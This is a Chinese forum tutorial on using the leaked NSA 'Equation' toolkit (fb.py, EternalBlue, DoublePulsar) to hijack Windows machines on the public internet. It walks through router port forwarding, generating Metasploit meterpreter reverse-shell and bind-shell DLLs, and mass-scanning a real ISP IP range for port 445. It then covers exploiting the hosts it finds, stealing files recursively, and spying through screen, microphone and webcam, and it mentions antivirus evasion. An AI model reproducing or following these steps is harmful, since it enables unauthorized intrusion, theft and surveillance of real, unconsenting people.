[原创]NASA方程式黑客工具包之初偿鲜
前言:
很早就拿到这个工具包了,兴奋之余马上去测试,但是由于一直没有合适的实验环境,加上工具发布了两个版本,而我拿到的是最早的版本,这个版本有一个命令是无法运行的,所以测试工作一直未能进行下去,加上工作忙,没有太多时间研究,就这样过了好多天,后来比特病毒发作,同学找我帮忙,又让我来了兴趣,又重新下载了新版本,于是才有了这往篇日志,回过头一看,其实这个缺少的命令对实验环境是没有什么太大的影响的,研究了一个晚上(半夜两点了),NC各种调试,才算搞明白了一点永恒之蓝的使用方式,实在是太菜了...
安装好工具包以后,进入WINDOWS目录,注意是工具包的WINDOWS目录,而不是系统的,有个START.JAR文件,还有个fb.py文件,我最开始以为FB.PY溢出工具会返回到START.JAR运行后的danderspritz平台上面,所以花了太多的时间都没有成功(其实到现在我也没搞清楚能不能返回到这个平台上面,我觉得应该是可以的,留给后面再研究吧)太多工作等待我去做了,今天讲的是fb.py这个脚本工具的利用,配合永恒之蓝漏洞,在互联网实战环境下面抓肉机,也有可能别人早就有了这样的文章,但是我觉得还是有必要把一些基础的信息和需要注意的细节问题给写出来,方便新人测试!毕竟实验环境不同于实战环境,会遇到各种问题,对于新手来说,一个小小的细节就可能导致入侵的失败!
一、准备阶段
所需要的工具:
NASA武器库压缩包
python2.6 pywin32
NC.EXE
KALI LINUX (要用到里面的美少妇生成DLL文件)
S.EXE (一款优秀的扫描器,非必须,也可用KALI namp代替)
安装步骤这些就不谈了,我们先大概了解一下网络环境,这篇完全是照顾菜鸟的,大牛飘过,直接看实战阶段!
先给大家说明一点,永恒之蓝是通过445端口进行攻击的,所以我们要扫描互联网环境下主机的这一端口,而现在运营商为了防治网络攻击,好多IP段的445端口是被封的,即便主机开放了端口,那你还是扫描不到任何信息的!据我了解,端口屏蔽状况根据不同地区而有所不同,也会因为运营商的不同而不同!
听到这里,好多人便失去了信心,端口都扫描不到,那还玩个屁啊!但是幸运的是,事情没有那么绝对!很多上网用户是家庭拨号上网的,也就是PPPOE协议拨号上去的,运营商会暂时分配一个互联网真实IP给用户,对于这样的用户来说,可玩性还是很高的!而更多的用户是光纤上网,拨号成功以后进路由器看到的IP和www.ip138.com上面看到的实际IP是不同的,这样的用户就有点郁闷了~就像我办公室就是这样的环境,后者的网络环境最郁闷的地放就是没法用反弹!(花生壳反弹是可以解决这个问题的,不在此文描述!)
啰嗦了这么多,慢慢进入正题吧!
想要入侵,总该 有个目标吧!所以我们先要知道自己的IP地址,注意,这个地址不是你的局域网的地址,而是互联网的真实地址!打开www.ip138.com网站,看到的IP就是自己的真实IP!
比如,我在青海,看到的IP地址是:
139.170.66.3
(网警同志,别对号入座哦,我马赛克过的,一阵奸笑。。。)
到这里,我觉得有必要向大家对我的网络环境做一个简单介绍!我是青海的联通用户,家里是TPLINK无线路由设置为自动拨号上网的,电脑通过网络接到网线路由器上,手机通过WIFI接入路由器,当然手机与我们今天的实战没有任何关联,只是用来描述网络结构的。我们把NASA工具包运行的电脑叫做攻击机吧!受攻击的互联网电脑叫靶机。
===============================================================================
攻击机:
操作系统:WIN10 Pro
外网IP无:
内网IP:192.168.1.5、192.168.1.15、192.168.172.1...(好几个,不一一贴了,这些都叫保留地址IP)
KALI linux:192.168.1.102
路由器IP: 139.170.66.3 //此IP为真实互联网IP
手机1:192.168.1.101
手机2:192.168.1.103
===============================================================================
可见,我的攻击击WIN10是没有真实的互联网IP的,而如果我们溢出成功,让靶机反弹连接到我们的攻击机上的时候,我们必须在攻击机开放一个端口让靶机连接进来,除此之外,我们还要告诉靶机让它返弹到哪台主机上面,也就是让告诉靶机反弹的IP和端口信息,这个IP一定要是真实的互联网IP,所以应该是 139.170.66.3 ,而不是 192.168.1.5 !当然这个192.168.1.5地址我们还是有用的,下面会说到!我们再简单的理一下攻击的数据包流向,让菜鸟理解这个过程,有助于后面的网络调试!整个攻击过程是这样的:
第一步:攻击机192.168.1.5发出攻击指令,此指令为向外发出的数据包,最终要到靶机的445端口
第二步:靶机收到数据包,数据包中有攻击机发出的攻击载荷(payload),载荷中包含攻击机的真实IP和端口信息
第三步:载荷在肉机上执行,并成功溢出,肉机操作系统将自己的权限发送到第二步中得到的IP和端口上去主动找虐。所以这里的IP肯定是 139.170.66.3,而不是192.168.1.5.
第四步:受虐数据库从肉机发送到 139.170.66.3上,而此IP为 路由器,并非攻击机电脑,所以我们要将这个受虐数据包转发到黑客操作的电脑上才行,而不是被路由器挡在门外!所以我们的
第五步:将路由器的收到的数据包转发到攻击机的内网IP上。
整个过程中,数据包从里向外是怎么出去的不重要,反正都会到达受害肉机上,但是最关键的是从靶机,也就是肉机返回来的结果信息一定要到达攻击者的电脑上,而不应该被任何网络堵塞掉,这就是我啰嗦了这么一堆去描述网络环境的原因所在!
OK,知道了这些,我们先来设置一下路由,在路由上做一个端口转发,将 139.170.66.3的某一个端口转发到攻击机192.168.1.15的某个端口上过来!这样就保证攻击机能正常接受到肉机发送过来的反弹数据包。一般来说,低端端口被封锁的可能性大,所以我们在这里尽量采用一些特殊端口,如21、80、443、53、1433、3306、3389之类的端口,因为这些端口为常用协议端口,所以被封的可能性相对小一些!其中80端口在肉机上反弹的时候突破防火墙的可能性很高!但是一般家庭拨号上网用户80端口被封掉的可能性也是很大的!我是用的3389端口,
我们进自己的路由器,设置一个端口转发!
在路由器中左边找到转发规则,在右边添加一个转发,如下图:
大家看了图免不了要问,不是要转发139.170.66.3的3389端口到192.168.1.5的3389上面吗?怎么是192.168.1.102? 原因是这样的,因为1.5是我的WIN10,NASA工具包运行在上面,当攻击成功后肉机发送反弹数据包过来,先到路由
139.170.66.3上面,路由器发现数据是要找3389端口的,这个数据包应该被接收反弹的应用捕获才对,也就是说,由我们的KALI 里面的美少妇MSF捕获才对,而我的KALI的IP为102,所以我们将3389转发到102上面,整个过程就是WIN10攻击机只负责发送数据包溢出,溢出成功后肉机反回来的数据包由192.168.1.102 KALI MSF接管。希望没把大家绕糊涂!
OK, 设置好路由端口转发以后,我们先来测试一下端口是否畅通无阻!这一点很重要!不然很难保后面能否成功!
我们进入KALI,在终端上运行命令
NC -L -V -P 3389
如上图,在192.168.1.102上面监听个3389端口。 然后我们找个朋友,把自己的实际IP告诉朋友,让它在CMD下面运行:
telnet
139.170.66.3 3389
注意,IP换成自己的外网IP。xp\2003才支持telnet命令。如果是其它版本,请自己COPY一个TELNET.EXE到系统中也可以运行的。
如果朋友看到上面的界面,基本上说明网是没问题的。同时,当朋友连上来的时候,我们会在KALI里面看到有数据包进入,如下图
这时候其实你还可以在此窗口中随便打几个这了,就可以互相发送给对方窗口中了,更加证明网络畅通无阻,如下图所示
因为朋友运行的命令是 telnet
139.170.66.3 3389 ,后面的3389是端口号,而我们在本机KALI内网环境下192.168.1.102 的3389能正常接收到数据包,这就说明网络是没有问题了,我们可以进行下一步操作了。如果这一步有问题,那我们就换个端口测试,一定要把端口调试通,找到一个没有被运营商封锁的端口。如果这一步没有问题了,那么就已经成功了一半了!
我们在KALI 终端窗口下用组合键 CTR + C 终止当前NC端口监听。开始配置我们的反弹客户端。
进入美少妇,我们用到的两个载荷为:
payload/windows/x64/meterpreter/reverse_tcp
payload/windows/meterpreter/reverse_tcp
这两个载荷分别是64位平台和32位平台的,参照上图,设置两个参数 ,SET LHOST XXX.XXX.XXX.XXX ,这里用自己的IP来代替,我是用的花生壳域名代替的,端口设置为3389.然后生成
generate -f my3389_x64.dll -t dll
同样再生成一个32位平台的!注意,32位平台的建议用其它端口,不要再用3389端口,因为会引起上线冲突,所以我生成了一个 my21_x86.dll文件。这两个文件一个是用来上线64位平台的,一个是用来上线32位平台的。
我生成的DLL如下图所示
我生成的比较多,大家只需要生成DLL格式的即可。
做完这步,我们就可以在KALI中进入
metasploit平台,打开端口监听了,命令如下:
同样的方法再设置一个X86平台的监听端口在21上面,同时别忘记端口转发。注意X86平台不能用X64的载荷,包括生成和监听!
设置监听完成以后最后再去让朋友连接测试一下,保证数据的畅通!
如果路由端口映射没问题,KALI监听没问题,朋友在远端自己家里telnet 你的ip 3389 以后应该可以看到CMD窗口中大量数据流滚动的效果(黑客帝国有木有?),这时候说明前面的步骤全成功了!
还记得前面看到的IP地址吗?
139.170.66.3 ,我们扫描的关键就是设置合理的IP段。我们将IP范围定位在此段前后,数量大小由自己控制,我设置为 139.170.20.1-139.170.200.1 ,注意,将IP第三段设置一个跨度,以保证有足够的主机数量,如果IP段跨度太大,端口往往是被封的。然后用扫描器进行大范围端口扫描。用什么扫描器看个人喜欢了。下面是我用S.EXE扫描的结果。
S.EXE是一款小巧又强大的扫描器速度极快!开了200线程,
Scan 39937 IPs Complete In 0 Hours 9 Minutes 57 Seconds. Found 46 Hosts。
9分钟扫到了46台开放端口的主机,看来还是战果丰厚。开放扫描完成后它会将结果保存到RESULT.TXT文件中。
叽歪了半天,终于进入主题了,看官们肯定早就准备扔鞋子了.....
二、实战阶段
在攻击机上运行攻击脚本fb.py,我就不抓图了,关键参数如下:
其它的默认设置就好了,基础信息设置完成以后用USE命令加载永恒之蓝模块
在FB环境中输入USE命令 然后TAB键就可以检索命令。
默认选择1,因为我搞定的全是WIN7系统的,XP也可以,03没成功过。
见到上面的成功提示信息,我们再用下一个模块,从返回信息可以看到是64位平台的WIN7操作系统。
输入 :USE Doublepulsar
输入攻击靶机IP和本机的IP地址,一路回车,再到如下这个界面的时候
我们选择2,指定我们一开始配置好的my3389_x64.dll进行上传,提交执行,如果是X86平台的话,则指定 my21_x86.dll,然后一路默认信息提示,执行,当看到运行成功的信息以后,我们在KALI里面看到有SHELL已经返弹回来了,然后尽情的开始虐待吧,
进入SHELL,偷看一下肉机上的文件,奶奶的,中文全乱码了!如果想偷取文件的话用EXIT退出SHELL,回到meterpreter提示符下用
download d:\mypic\ -r 进行目录递归式下载,如果仅想下一个文件的话,直接指定文件目录下载。下图是肉机上的文件及目录
抓个屏、再偷听一下声音,偷窥一下摄像头!
run vnc
即可将VNC上传到对方电脑上,实际应用中往往会被杀软干掉的,成功率也不是很高。
上面只是说了一下第一种网络环境下的入侵,也就是在自己拥有独立真实IP环境下是如何入侵的, 再说一下如果自己没有真实的IP地址,那们我们又该如何入侵?
其实和上面的过程差不多,只不过我们换一个攻击载荷就可以了,还记得我们前面生成的DLL文件 my3389_x64.dll、my21_x86.dll吗?这两个文件一个是64位平台的,一个是32位平台的,当溢出攻击成功以后,们们会注入到远程操作系统的进程中来执行反弹SHELL代码,现在我们既然没有真实的IP环境,也就不需要反弹了,所以我们直接在溢出成功后让主机打开一个端口监听,等待我们去连接即可!这样的话,我们有没有真实IP就无关紧要了!
我们用到载荷:
其实用什么载荷,完全是出自于大家自己喜欢!没有强行的要求,只要没有超过攻击程序限定大小即可!我们就以上面的为例吧!
注意,上面每个平台的我都给出了两种载荷(payload),比如64位的来说明吧,有 payload/windows/x64/shell/bind_tcp 和 payload/windows/x64/shell_bind_tcp ,我们分别叫做 64位A和64位B吧!如果用的A载荷,那么溢出成功以后必须要用MSF去连,如果是B载荷的话,用NC.EXE就可以,当然MSF也是没问题的。连上去以后直接会看到对方主机的SHELL返回信息。至于实战的时候选择哪种载荷,完全是看个人喜欢了。。。
==实战篇完==
初偿 danderspritz ,客户端配置,生成的EXE支持私钥签名,时间戳,直接免杀,支持触发监听,触发反弹,比美少妇强大的多了,隐蔽性更强!有时间再写